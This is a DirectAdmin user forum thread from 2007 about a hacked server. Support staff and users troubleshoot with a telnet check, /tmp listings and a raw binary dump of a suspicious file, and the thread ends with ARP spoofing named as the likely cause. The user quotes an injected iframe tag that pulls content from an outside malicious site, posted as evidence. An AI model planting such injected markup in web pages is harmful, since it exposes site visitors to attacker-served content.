Hacked Version 1.29.7

Hello,

There are only a few ways that can happen.

1) If you enter a new ?currentversion=otherext in your location bar and clear out your block_token_chars settings in your directadmin.conf

2) or the outbound call to 66.51.122.131 is intercepted along the way and other data is given.

3) they have root access and are messing with the skins.

The first requires active settings on your part... the 2nd is very unlikely, but if it is the case, there isn't any way we can prevent it.... and for the 3rd, if they have root access, they have total control anyway.

You can test for number 2 by typing the bold bits:
Code: 
[root@server]# [b]telnet 66.51.122.131 80[/b]
Trying 66.51.122.131...
Connected to 66.51.122.131.
Escape character is '^]'.
[b]GET /ver.php HTTP/1.0[/b]
[b]Host: directadmin.com[/b]

HTTP/1.1 200 OK
Date: Sat, 02 Jun 2007 18:28:41 GMT
Server: Apache/1.3.37
X-Powered-By: PHP/4.4.7
Connection: close
Content-Type: text/html

1.297000
If you get anything else, then contact your DC and something isn't being routed correctly.

John
 
Then contact your datacenter, as it's a man-in-the-middle type IP hijacking, most likely somewhere in their datacenter. For the next release, I'll just add more filtering, but ultimately, it's the responsibility of the network provders to ensure that the IP you're going to is actually the correct IP.

John
 
This is not my issue :) I just typed where goes
Code: 
<iframe src='http://www.puma164.com/pu/32000.htm?814435 />
 
Ok, then that means whoever did it has root access on your server and has been messing about. You'll need to find out how he got in.. check your /tmp directory, and for any unusal programs that are running. Make sure you have an updated version of openssl, as older versions can have holes.

It's not the IP hijacking.. I misread that it was smtalk posting the location, I thought it was hammerfall posting the telnet results, so that's not it.
I'm adding the filtering anyway, but not going to do a rush release.

John
 
DirectAdmin Support said:
Ok, then that means whoever did it has root access on your server and has been messing about. You'll need to find out how he got in.. check your /tmp directory, and for any unusal programs that are running. Make sure you have an updated version of openssl, as older versions can have holes.

It's not the IP hijacking.. I misread that it was smtalk posting the location, I thought it was hammerfall posting the telnet results, so that's not it.
I'm adding the filtering anyway, but not going to do a rush release.

John
Click to expand...



my directory TMP



Code: 
[root@server tmp]# ls
[B]eaccelerator [/B]                          
sess_654b6e9e47a2b099703c3464c4e0816e  sess_ab3dfb303006c3f6147ca4857ede5035
[B]lost+found  [/B]                           
sess_65e94752b80c8c23c3a3d78b1abdadd7  sess_abc9c263eb549a6580001dc36e74222b
[B]phpaSkFbc [/B]                             
sess_6637a7cf04187142d079c967f3d752cf  sess_ad9fb2f19c507447e09e8076e67a8e8d
sess_0115a6dd4c443e3245e0bd22983b27f9  sess_67232fab6c7647c25a9fdfa7f8b4a81f  sess_ae21a972fd3f107db5267ff91b3900ee
sess_01e60c512d39ce553ac34ff2c7675b3d  sess_68cd6b619e63622b1977e2ba791f9f27  sess_ae3cee89904209e03bf6f9df4c534ec2
sess_01ed38e4ea992e3a157ac69456c7f08e  sess_69a3a6eba69f9dde13c84f114c91712b  sess_b0beb266318ec9b4a0df98d5122db41a
sess_05edb0cbd2e691e333dea5164fad3bb7  sess_69df305ea972c0a7dc82d3ee471105a6  sess_b19418d18882dbf68ce3f1a4cd72f214
sess_05ff3d260b63af2f437a6df2bbe7233d  sess_6a6108052d334d1a24e4b4d83943e730  sess_b2035f89e054218e97e058f2a26ce3e6
sess_061742655dcda774b3869e694338cd64  sess_6a6756819d6db6ad313e6e717ba5e141  sess_b2307031c4bbd2e1db3f35928c2a6f4d
sess_06194818e8c5785034bc4f01544ec14a  sess_6b3285bc4a2674a14fafb0865a1cc6a2  sess_b24e0b311bf0b672d8270c8a2eb7bc04
sess_06ae659d2af7256fa72693dadc61128f  sess_6b7199cb72e1e68baa06e1c0e40df5bb  sess_b268170c33a26851d0754eaab99bc625
sess_0877c46e3fe4b5bb52565cd8a04f390a  sess_6bf6542d1816cdd34ac63322865703a4  sess_b2bf3fbe5ca8c8468d7531cf2701b2f3
sess_095350e98a07fb5f516e86fa7a036d95  sess_6c141e69728858b754b95965a724897f  sess_b49724b446d28c17612e1b5c920ce60f
sess_0a12f173624ff58db4d6f8574c0a3c9b  sess_6c65fff12433740b6ba25c8a5b514b70  sess_b49ceb7078e5e0b99e9e387ae62bf6db
sess_0a6bcc604ec3ca446badeff593104001  sess_6c78a8618142d9f7dbbd26c234677ce7  sess_b622f2aba40e53e2d61e98fe913dc356
sess_0b16d66b2a17343c0de221647c91a6e1  sess_6d330a3b0f3ebaa466d5fff3478ec3ee  sess_b630660182501f094a78a32861acb8e2
sess_0b8e8ffdf7ecb5a43594ba5b8a81b742  sess_6d61d710927430f965fe32b361473db6  sess_b6ad2909382689fea89068c3c1750ea6
sess_0d2e9dcc3acb6ce5b8839274c7151081  sess_6e22731f44a10dfaf0ad18c8065f82c6  sess_b82d93dd7da5808a32265bd5a84b0966
sess_0d5ea99dd1761672f5918e2e85007e78  sess_6e4061e91ab127c302fc5f2720fc79c3  sess_b830bd8324be141f7645bba4fc57ef4d
sess_0d6923e21199bcb5a8fcf7b1da1dbe6d  sess_6f810b2ae5714ff483e17e6a6a29ded9  sess_b91efbe866e0afb43b56e0543e7a9f75
sess_0d6a74739ab95d02fe4d11ec1fa83550  sess_6f879fb6ec4dfae23b596b63226a2892  sess_b9b90d1c9f808d86e154ff1498b1e588
sess_0dd831b1f27f71b6a301d1527f612023  sess_6fdc143cf9389423016418af9b03cc26  sess_ba5ef5e3ee6c082bd2fdb2556ebf345d
sess_0e4f6c6389cc813678a7ea9af980e0ae  sess_7068d7f27bbb7bcbc88eb833a25fcbd6  sess_baae126cfe44fd481d6556d222b7d082
sess_0e8b564ed6acb9dc423bc3cb8573d7de  sess_7077212b282646dfdbe101724432c678  sess_bb6b9b0f412d291651e247109a08cdb8
sess_0f14b3d023def8d4758d8b3c3c2d24de  sess_708672ce25a0ecf380bd797989244408  sess_bb92be7bb675e934b037c47ec44cb4ff
sess_104d532b0a32f4eecdb6a398ff899bf6  sess_70d3ce7b0c39a8505f15d27124cf001a  sess_bbc81183f60cc98a49e817a21a540025
sess_11146a8656ca3e97ae9adcf8f29e4242  sess_7117fb3ac807bafd2c771c5aa1486683  sess_bc0e21770521ca1693e0ff4b63baedcc
sess_113e17c4a4941c1cdb4d29e89399dddc  sess_717420a6c66da951d2deaf19fe8d2b19  sess_bc2d39b733e8b04bf81833116f680069
sess_119db22f5df47d769bff2a9ac7897c6b  sess_71e6523c3c9d694aca89ed8e9e935091  sess_bcc0039d98199366a1c21acb905d5e7b
sess_1215759f94b152e8c10d57bac5c48b81  sess_72548545c1e79a24b5c97bc0f1ef32f5  sess_bcc41e2da471509b2a0a670658c5ad2c
sess_1295d571d1958a9820337d33d2d5a711  sess_727146980b6b38cb00918cdbdba381ec  sess_bd4f5b11d5874e95a08a0c5deed1d0a3
sess_13b28d33b21718cb923c0bcff6fa833d  sess_729d3644e1dc8918e6645fdf541f03a0  sess_be2124ef08e75efadccee90226ffffe4
sess_1459dc365691fabe4601f25df9b19fd5  sess_72d0f5672deae8c08643c4538b4a9afa  sess_be84e00f17479dbc02dd98434362b9b9
sess_14e2880019a8c04e6ffdfeac6ddb6126  sess_72e79857d0bca3fe3afb2223027bb2a2  sess_beddd26b2df19a6d8b3948e06dd9d2c2
sess_17cdc458ff011b0593080d7c9ed5fbdc  sess_72ebc15f07cc26f838586735ce5bb33b  sess_bf181d36201088e8b049b001bb257ef3
sess_195bcfcea7aeb9129f36161eb0e658be  sess_7571bda25db1ef9859cebf6c2cff7db3  sess_bf4ceecc8ffccfef3f2587e99294cf96
sess_19d5e1fc5d25de3d67f08a0a6906cc94  sess_75b00008b04e9b6c57e150f6ddea6f4f  sess_bfb670b62a1373e71401ca340c20ecd1
sess_1a68bad64b8c0c3cbbf7c53d8c3bb2e8  sess_76e29c8c10317133b2434a907739e18f  sess_bfdafe15c7703b0d4b689b5cd0027a09
sess_1b0d428c8e1f3ab82a81ff91481d10ba  sess_78264e90672295a68fc4720140b9afe1  sess_c031a20a8e6722f31ebd12f785aa822e
sess_1c079279fa47a7d3715531f35dc5d0a3  sess_7826567b5bbae0f73b68f1a9e697160f  sess_c16048ea36e9485ddc5acd7bd2e92927
sess_1c3c449b42dc46b51055f209f845d353  sess_78a1f817d313a6fd307de76a1ad89cc3  sess_c3f87ed984e0777eff21898b4f457612
sess_1cad47d5b18d4ed411b4406924f4bb7b  sess_78d5a76a74158dbc8fce71e3ae06253a  sess_c3fe4646e0b412fd573ba4940e43b24a
sess_1ce1f4ad25735372001437e80a114d1f  sess_78f8a2bfbc4ab781ca12a5b9c211d05c  sess_c566f4c31149d2cc71d373cd94e000bf
sess_1ea1e49cde2f18333e8f54f090ecd7a5  sess_790a0d85bd90f829226ed7605e984cf7  sess_c58b0f5abe48617b9f7d46b734c0cc91
sess_23a529b8005258e686ec933e72d8114b  sess_7aab4471dfae282771668e99620883b1  sess_c607ae1193c9cd2019dd500c35b34ae9
sess_24c1d47ef6349d44e3eff738ef9056ca  sess_7b206b68f524abd6e2fc2cd57c006c4a  sess_c675c14e8e7132b09f67696701501a16
sess_270d7810ac7259c927903cc7d84aa76b  sess_7b80d438f80abdc3a2cc6f04d74cb4d3  sess_c707b7c4112a3f0f4f0ef760498b5e8f
sess_282b112da9e9b3eba60e6641f3b7f6f3  sess_7dbd86c8eb09afe22d3e212f3ed8af42  sess_c71d1854f85996240311226237270d84
sess_2917ea7a38b1312df46946948b3b2475  sess_7e3e5e931bbdd66e41b38818540c5bb5  sess_c98c54ef9964c8c2806936e21558763a
sess_292654d1e530b37ac5efc970270c6267  sess_7e849f2763c8313fa8152026698d379a  sess_cbdf111d6d48674956e43abe3a757a3c
sess_29442f4851ec6b3b8411bba89f24e9a6  sess_7f67a81c1c8f0179a134e6661cf54645  sess_ccd1b246302f36663f9b2d470cfce538
sess_2a7e9aa4ad8fce1b71ae54298fc9f116  sess_8018e7f1ee682af4012f2e42af9e45fc  sess_cd9394f182ea1c402a84075a85c0301e
sess_2b35c7a98de8d1a5d0d4418c9b91b628  sess_816e9c113ef5fc4313a4b594b0fbf8f6  sess_ce22b8d4a4ee72e58d157e69a461a430
sess_2cecbc8e7a9972c85cfe83c74c5332d5  sess_81e6b870ec082ccdf28d8b616f6e5d50  sess_cf3b96ea26a2f0489d57e04f67f8b947
sess_2d5a6412dffc9af9104de7c43950c60b  sess_823bbba584b0851b1d4663b3bf183689  sess_cff6699a3476d7957de7136c9049ead4
sess_2e0f38a644e6d2759e9f7b9f8eb5aa92  sess_8272541bc41a530325be49b2b5a0f723  sess_d02bbf728b1900c2a24e67acf1ecf114
sess_2f58c5b23f3d98e9b268b887881d89a5  sess_827f916deff1d616bc2514b59e36a00e  sess_d09b9532a3ca1ecaf2d4390c06779878
sess_2f823a0fd58dfe7270ff9fa79978e6bc  sess_82d6b6419a582f27f2e39f7e9c2416d0  sess_d0d98f49ba91ec0b65b49fb0b367a27a
sess_3007f423c11267e535d8e7b1d5d8c0bd  sess_831176717fa0c63e811664919236aa0f  sess_d133d6597657af19c6300a53fab7af40
sess_30b9599d6c1b284ed4b00a491594f95b  sess_8317ac7d8662921b55513fa5657186b5  sess_d20fd0c7a7375ba01ee88ebfbd9b04aa
sess_30bdda0a3adab645b151565a658f13a1  sess_83c0d1b708c2b323e3856f1109d0ca7f  sess_d22a8f759ca737933b02646ac5884905
sess_3491b8d1a09748d6c67900481bd85c99  sess_83cc92de66e06ea2403a1fd8065fd65f  sess_d2efcdf6d4d8656684052e3a3114edfc
sess_35d650fdcdec3f0cb3c471ad5e909413  sess_8554158baf82c2ee36057cc031ffd163  sess_d3554327193582e98e47b06ab3350934
sess_38124e3d6f7f49a66a2743d0973e613f  sess_8561c34310abf033a504dde6c63b5476  sess_d39c5a1a25856f8d97e90214161b5314
sess_385c59f721089481f3797e2d25a50772  sess_860ba8d98ab9ab2ecf2904dcd2a62de9  sess_d41bee107389b8ce4fbf8d976904449a
sess_392ff005f0e3f1217542a7e73bdfcba5  sess_8626b4fcff33037715ae6a51f175b99a  sess_d50650cfa7496f4f7c27b00896e97524
sess_3a665e2583af883344f71a106ed736f0  sess_87a0f4e5991a9cbde3358be50ada519e  sess_d571e3a2890b0e4aa3bee4e2319bbeb0
sess_3aabdaa09138a9f537f30d1fb051f91e  sess_88709a66f6d774c3c19436a43d3f2706  sess_d64f127f65faef7d70c0693714957f89
sess_3aafb964f49100059c658ebf77fdb3cc  sess_89648094827c55b39e7564393b3000b1  sess_d66f3fb7b8cdd6a07364d712b95bdd56
sess_3af8667275b081774b68fedb6b67d640  sess_89c4a42cf63c5d09e5d4c0dec628bd70  sess_d716f32622424da491c8db1b888b0422
sess_3d12808730cc6c32815b3c76e3889124  sess_8a3486b41f201016cf0828db26101e1a  sess_d756eb8052a297c1fb36ff083d7241c3
sess_3d155103922d0a214d2d37b15764881b  sess_8aac70d6b31e895935ddaa57d3f800ed  sess_d79b03678861e38aeefc1dece3c07860
sess_3d1ee426305fdd806e890a63f48358a2  sess_8c6162b64691db02a06f903a5e3923e6  sess_d851009fc0d8af83c48749e16696e714
sess_3e242b772c41bdb8997b75e58eb66bf2  sess_8d278ff74680cf39450f58a903967dec  sess_d89f11996c3296718f2a27884548bbb8
sess_3e6568ba310c29d2ecfde4969e153cee  sess_8dd5bc635a96c5fa115f7a35d353bc42  sess_d9e31662f19a62a1ccca27795e0f2a64
sess_3e98e827b87fb6155f16bc3302ce06f8  sess_8e88ce26dba5ec961986f8868c2c13bf  sess_da7f3ee4467c88d6e6ff7e8be50b3a1d
sess_40043bf42691cd55212c9cc5cdfa3222  sess_8ec5787dd43e45adaaa530f6110011d9  sess_dcbb3680419df5396c65e67f5f507209
sess_404245647511648f1f8c18185ee34bfa  sess_9149800677dad925c6bb431fe62a0a0d  sess_dd1a5685c59e216e9f35633b5edf6dc4
sess_40a65ea5f4933abe6f2cd96ae143155f  sess_9157c60bdf98ba3d4010452970c9f6e7  sess_dd5c51ac65b084a7224ded830b466a51
sess_41504db568c107c6fe8d1c33b6c29027  sess_9167830651f9d83943c6265d135bd2f3  sess_de4ebcc9c029dc00bf8aa42e6c619210
sess_41bf24fb783d073890752edcc9990e5b  sess_926fea3adb2e90547b0e9364bf7ca439  sess_deba89df599676f1d1898273b49a7a7c
sess_42d6afbe05c4a37997e8eba5b3a3cf5c  sess_92dca918408769bf45f4d887544ad674  sess_df15c015f27f645756436d2fb9acfbb3
sess_444a7f23e1f185e6c945642704f036df  sess_92ec4a1a937553196c3ba6b7221c0539  sess_dfa884d87953fec6287bd8a68ea3b8b3
sess_445fa962662256c47ca5af6a8a14a978  sess_9410303f314399d2127e7747e284811a  sess_e08751bbe2f5ed5259fe8039afecbb5c
sess_44c6f7b7844ac1d02c35d8fce84d988f  sess_94130800d9c9e242787563c4c917f02b  sess_e0890fbda3124bfc4649b268e8dd1f2c
sess_45e0e6ca1d98b8868f8cb363e9fe4c9e  sess_944645949aac74448e0030a01b37f424  sess_e128620280c1ef5b7171b10b02fce150
sess_46ca1d351e411dc0eb98c527a8ea8c2c  sess_949e5a8debc8e6a1e35d2cc63fc89b57  sess_e1e039f5c45ec3fd18349383f16cedc8
sess_4723d3103830444eb091e3837f82c727  sess_9585896c101a6eab1a183f7be5c5fbeb  sess_e372b53a147e0161a6911046831a64b3
sess_47b99d20243aab6b60053b0175d7da5b  sess_95ccb37d35fc2835b82c5b2ee24b4c3f  sess_e5400875d0aafbd814434726e42395a3
sess_48342638472af3465e4543fc44105f2e  sess_95dcb511641929552974636ec26b1ed9  sess_e76b6bd0f2cd4b7208ea82c63bede56c
sess_49edf3742e5b52c9f965a3b32c47cd4b  sess_96138a59b7a04e81c8a30559b4f9e230  sess_e773419915cd2020ffec0d3f6f4fa380
sess_4a7f665185632730fc63871634f9d1c1  sess_961ad5b48f685fcd6296f12e67dd3948  sess_e7f7fc003936b09515c0d3d8a07a1df8
sess_4b17808d6a463c39fd8e64cdd20e76fe  sess_9625d831080bf985c3cc7ff49301d32d  sess_e7fd9b57d32cb338c18a3416955037d0
sess_4b66aa78966eaf6f15eca432eed15584  sess_968db825105bd78c517171519fefb50a  sess_e87079e2222d44494144879774e3ccbd
sess_4c1754e90ba655be61b440092dbdc675  sess_98b7594e443899180a474152a896da8c  sess_e87d667443155a97f6c1cae8f576a9da
sess_4e4c25e21ec9f829cc91a943822a5e4f  sess_995f98db5bce84e796d3ffae11e951be  sess_e9f0ef87a6c58c10ac01ccd6fe21b719
sess_4e69de91127153e95fea19301cfbce68  sess_9972ac40479be606a260379077eec856  sess_ea55bcbe2bf839834b35348bf649400f
sess_5012b47bd622d5bb23f593954f1ee9ee  sess_9a3163850eadf6644c06c50a3bba89bb  sess_ebe35ff6db0764780f40dee3d941d683
sess_5016c1ecf5da2cd9496dc048f01b8484  sess_9a9a5856ef7bc1f99dfa2e211f90783a  sess_ebfaefa4c0ab81ccb30a9996f07986c9
sess_50b4045e109747d1f9277710b2cd1b84  sess_9b4bcdb122108a0a38a85d9a20eb25c1  sess_ed00377d56eefad6cfb5f7010244bf07
sess_5217d0009ae3e915145065e4c42e67bd  sess_9c1973baa3424a2330bd9e552cf46945  sess_ed3209538ba1ac8865cd1edbc15589ea
sess_52c319ef92a4b80b3e66da3cc9ac4c3f  sess_9c28e59a70049a51a246ad6daec7838e  sess_ed6bd9f8466263f59e4806e53d67c99b
sess_52eea38dca497a10a445213a22e1d242  sess_9d1bcaed4f7529e81d3a6c168b0e0db2  sess_ed71e8bc7633334893bb62fd7e1c5b88
sess_5314b355be794e6d280bb98e0ec016e7  sess_9d509d1398920e92b4259b641be0c92f  sess_ed72660e78dd73b6efe18edda913f866
sess_5351cc2bbb93b00e7aa4448dcf83e36e  sess_9de7a03c59614f107accf4f254441d18  sess_eda9428ab658b7f29754224e34a94d85
sess_55f2acb7c0a90aba0c33aa87029068fb  sess_9e2e5feca77841fcc9ac264595c7eeb4  sess_ef71ffbca8faef39971773f7fe863a7d
sess_57569fbb8722a38edd833821b33c6955  sess_9eeede716e2b7fa5d651c741bcd36bbd  sess_f012ed5e5550ba8d4d25cb7c094bb5b1
sess_57990df39745e16877e06a15da148545  sess_9f68364753053445172627d55144efb1  sess_f254a42605eb0d3ebaba6b275a0c763b
sess_5836bc1cea6be384091d3eff77d16be7  sess_a0002c960d8b8dcbfe3a33191ee26737  sess_f25799258817225a61c1e86282b7e155
sess_58d294860714982b0db9773713441515  sess_a162d26308e52754b4283dd47ce4ddcb  sess_f2c1c7febd45d73b37d38d74a9697e1d
sess_58e66f02320238b26f2c358a42415607  sess_a225d50233cfe4425dcfe2b6afd0bcb2  sess_f323b10729b3f48a2c8d6ca9a9ed861d
sess_590542b51da7db712b8cc58cb548e7a8  sess_a262df4db5def61c885705d96f966588  sess_f36ab2766cf051bb8034505c6d623466
sess_592788e65c3ce3946367018e1e5f8f30  sess_a3502ee57d3b5f45963429846f48c011  sess_f44473d2f37d4ea0a440ac5034a103ef
sess_59f1710ce79d4acaebf32809e96b6a6a  sess_a37c947c6d4adca14ecf5e46df3ad3fb  sess_f48c9364bdea1299d20cdd9dca28a6a6
sess_5a7b78bfa31c8a693756327f12638a70  sess_a3805ee8dc18eb8f0754570d182137ca  sess_f4922144a83681b86611346ff980e181
sess_5af0afe4b30b60f661e69db285f926c8  sess_a38300305d2e8cd9cd7ef5253e5862a8  sess_f517d70178310e621769d04d905fe5e5
sess_5c0526464f09929ef75483e9b85915db  sess_a394d0337e3edfb769139f1ea87709a3  sess_f5495d6e48e4e00cc71179a9b7e29eaf
sess_5c91e13e7cca93361f5b969df54c9385  sess_a4797e0fc5d4b3c0aadabe8c448468c5  sess_f5edf262417adad199d2ed96f83d9401
sess_5cdf8a9144f994ba9980ef5064fd1031  sess_a575955d6ff0e3da5ad4ece0b4362bed  sess_f695e78c3763bc1ca535a5c1edc33ffc
sess_5d40e4858ac6005c3c446bb98b623b69  sess_a586cda004f49b21832b59b99849e1fe  sess_f75a57480fa530232118e7b296f6cc3d
sess_5e2f3a98f82294a3f66ba5f1b28ab71d  sess_a5cead5d6000caefacee3c34e926bca4  sess_f7b5291ca44266dc6bc74a7bdc3b0acc
sess_5ed8d4ea7e4a7765834323e7483b65c2  sess_a607bd87da8cf8e7bfb72cd8f7b19ba8  sess_f7c3a73f5460e574d47caef034285ed7
sess_5f03e7e79c327c474fe810b7b5c0c2b2  sess_a62541128feabc65b5e64974b724bd82  sess_f7d695ffa4b934355fbfe30fbdd36521
sess_60ddbb2dd7f5ba40489acd892dc41339  sess_a6934017781820fe49ffa24378b48df7  sess_f90c9a1f6311c3301724cecfd99101ba
sess_612991d2611474dac7cc22520b852127  sess_a6fe051ed20456adfa2fb95bc90c8405  sess_fa5d13392b012b3e1e4a86fd38a2c308
sess_6227d8a7fdb3773e997b2b4845d13818  sess_a7b2825c8c3b758f84ad6b010a4c852b  sess_fa67a5ccd5f2e9320bd709f9ac24a877
sess_6241b919602788717f098d2ca618372c  sess_a7f46b42f09e69787126637b3dcf13b1  sess_faa57b0685bed5b143b4337d79a02770
sess_627ad4797d4a6ba73637570775fd46c7  sess_a804ee5d90a9fb686898f29dd9c34ce3  sess_fc37e2461adada09ad1fd294ddabadd5
sess_62af781b0ead4589bd83e851c2579491  sess_a85014e9601e2f712dd73f0a19bb77e8  sess_fdd09136ee3aa7df96c413a4c8c007c5
sess_63341556f47208f3c69fec778252ce88  sess_a86e70ff1ce761b4cb4134a1a45131c6  sess_feb77a5e0950081589b5ae1906108777
sess_63f3ae9816dd148e89c55e2503abff62  sess_a8e835c6437c2a14ca34ccbc1c473fa1  sess_ffa008e74e46a19acd7c42260454f418
sess_64a9b654e2fe7072029261da72f62a10  sess_a974710ecd895b6a838d46afaf31c010  
#sql_1521_0.MYD
sess_64ae64000fec73de7da09d65b786278d  sess_aad5cd41e2e1a1887a06d7834891143f  
#sql_1521_0.MYI
 
Usually "ls -la" is better, as they tend to hide things that ls won't show, but you might want to have a qualified server administrator go through the server to see what's up.

John
 
DirectAdmin Support said:
Usually "ls -la" is better, as they tend to hide things that ls won't show, but you might want to have a qualified server administrator go through the server to see what's up.

John
Click to expand...


+
file hide

Code: 
drwxrwxrwt   6 root   root   197632 Jun  2 12:08 .
drwxr-xr-x  23 root   root     4096 Jun  1 22:41 ..
drwxrwxrwx  18 root   root     1024 Dec 16 11:44 eaccelerator
[B]drwxrwxrwt   2 root   root     1024 Feb  5 14:51 .font-unix
drwxrwxrwt   2 root   root     1024 Feb  5 14:51 .ICE-unix[/B]
drwx------   2 root   root    12288 Dec 15 14:55 lost+found
-rw-------   1 apache apache   5119 May 26 15:06 phpaSkFbc
 
GranTW said:
What's in the 'phpaSkFbc' directory.

Grant
Click to expand...



no directory is file



Code: 
ÿØÿà JFIF  æ æ  ÿá,ØExif  II*         >       T          i‡    t       EASTMAN KODAK COMPANY KODAK Z612 ZOOM DIGITAL CAMERA  % š‚    6  ￾‚    >  "ˆ     Â 'ˆ    P    ￾    0221￾    F  ￾    Z  ‘     ’
    n  ’    v  ’
    ~  ’    †  ’       ’      Â 	’     Â 
’    Ž  |’ Ú)  –  †’ O   p,        0100             <      PÂ ¢    À,  ¢        £     B £    GÂ ¤      Â ¤        ¤      H ¤    È,  ¤    # Â ¤       ¤      N ¤      Â 	¤      Â 
¤        ¤      T              
   2006:01:01 12:55:24 2006:01:01 12:55:24                          I  d    	ü       Ìü      *ü      ü      ®ü      )ü￾      ðü‚      Œüƒ      fü„      X                 >ú       ú        ú        ú       ú        ú        ú        ú	        ú
        ú        ú       ú
        ú        ú        ú      ú      ú        ú        ú        ú        ú       ú     d  ú      Þú        ú        ú      ú    P  ú        ú         ú!        ú"        ú#      ú$      5ú% 	       ú& 	       ú' 	       ú( 	       ú)       mú*        ú+ 	     îú, 	     úú-       ú.     P  ú/    I  ú0     #  ú1      ú4        ú6        ú8        ú9 	       ú:        ú; 	   	  ú=     d  ú>        ú?        ú@        úA        úB        úC        úD       úE       úF                                                KCTFY63620969    T¸    nè      •@ º_ÿÿVÿÿï!ÿÿÅA ÎðÿÿkÏ  ÛÿÿTt ˜±II%  	    À   	    Ì   	         	    „
   	 	   Ø   	    ü   	    8   	    L  	 	    `  
          	 
   l    `      
  `        `   `    `        `   à           	    ©   	    À
   	    m    	        	    !!   	    ®    	             d  	 	   À       * *      * *  	            A g      g A         àÿ!     àÿ  " 	    ÿÿÿÿ# 	    ìÿÿÿ$ 	    ä  % 	    *        @• LJ    G{ _º Vÿÿ!ïÿÿAÅÿÿðÎ ÏkÿÿÛ  tTÿÿ±˜   # Àß  &ãùÿ pj  Ôÿÿ ýÿff ¥ÿÿjûÿ ðC `ÿÿÀ…ðÿ Ð) €
   Çùÿ   éB      À  õ!  Ä`     ×i  f  f  ¡ÕU ËÿÿÃúÿ      €                               
€    €€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€
*
 .' 	#€	€#€ÿ€	€	


	€!O 1 = : @ Q   ( 	    3 L H L ?  H /     P U Y E $ "  6 
    ` Z U ^ M  ( /     a [ N 6 0 d = $ 	    N D ? ; - g W # 
    9 < A 2 , X K          5 B [ 5      þÿþÿ     ÿÿýÿ        ÿÿ        ûÿÿÿ       þÿ      þÿ        þÿ  ÿÿÿÿþÿþÿþÿ       ÿÿþÿÿÿÿÿüÿ         ýÿ  ÿÿ  ÿÿ        þÿ   ÿÿÿÿ      ÿÿ   üÿýÿÿÿýÿ      úÿúÿÿÿÿÿ  ûÿúÿúÿÿÿ      ûÿýÿ    þÿûÿìÿúÿ        üÿ   ýÿøÿñÿúÿûÿÿÿ      ýÿ   åÿèÿðÿìÿ÷ÿ           ïÿñÿïÿãÿáÿóÿ         úÿëÿüÿôÿàÿáÿòÿÿÿ      ÿÿýÿéÿùÿúÿàÿáÿôÿÿÿ      ôÿ÷ÿðÿèÿéÿâÿçÿùÿþÿ      6\BBnQ:lN@rUP„g!:&/-L4
3S=N~bG|`L€dAnS)SpP4X>
	

Qv_TˆmW￾qGvY)D,,8#-A+7[@

d‘wXŽsUˆlp￾d\rO7F(7K),N2
b“yX￾td„^ZtO<W5i€WUk>7R-#
		M‚fHuW\uM>kO5U6x’ej‚T+C""


9kO>mRSmE5`?0V8m„Wb{M"= 
!	)":-BG\8OhEoŠ]E[47#	ï›  ¶D  Z  3  q¬  \?  I  6E  ￾¹   
  à    ýÿ    II| `        `       `       `        `	        `    d   `    d   `        	`      
`        `        `    ,  
`       a    Ä  a    Ä  a      a    úo  a    	  a        a        b       b    -  b    '   b       b       b       b    	   b       	b       
b        b        c    Ô  c	    ô  c     m   c         c    —   	c    Ò   
c    Ò   c       c       
c    ‡   c        c        ￾        ￾       ￾       ￾        ￾	        ￾    d   ￾    d   ’       ’    ð   ’      ’       ’        ’       ’       ’       	’       
’        ’        ’       ’       ’       ’       ’       ’       ’    /  “       “	       “     m   “         “    ‡  	“    ˆ  
“    ˆ  “        “        
“    9   “        “    X   ð        ð       ð       ð        ð	        ð    d   ð    d   ð        	ð      
ð        ð        ð        
ð       ñ    ò  ñ    !!  ñ      ñ    z  ñ      ñ        ñ        ò       ò    ¬   ò    ©   ò       ò        ò        ò       ò       	ò        
ò    û  ò       ò    	  
ò       ò        ò       ò        ò    ¶   ò    ð
  ò        ò    ·   ò    ý  ó `   ,  ó	    3  
ó    {   Ž”;¨ŸN¥¥S¥«Zµ»m’•BRRuo-".

	rr2¤žJ©¯\¨®]—šFBBaa$ni1*5

	ž‘P±«\©¯\£¦O˜￾<9.1,aa2.:		²¬U¬¬X¦©X￾‡2mj)wa2™}Ge]53?			*§Q£¦Q•’8m_ ]O'or>Š￾W}y
 
hammerfall, if you want, I can take a look at your server (for free), just contact me.
 
smtalk said:
hammerfall, if you want, I can take a look at your server (for free), just contact me.
Click to expand...



hello friend thank you very much but those of the data center already fixed the problem


I speak little English sorry :eek:
 
looks like an arp spoofing attack for me, we got this kind of problem sometimes too, datacenter should responsible for this.
 
You must log in or register to reply here.
Back
Top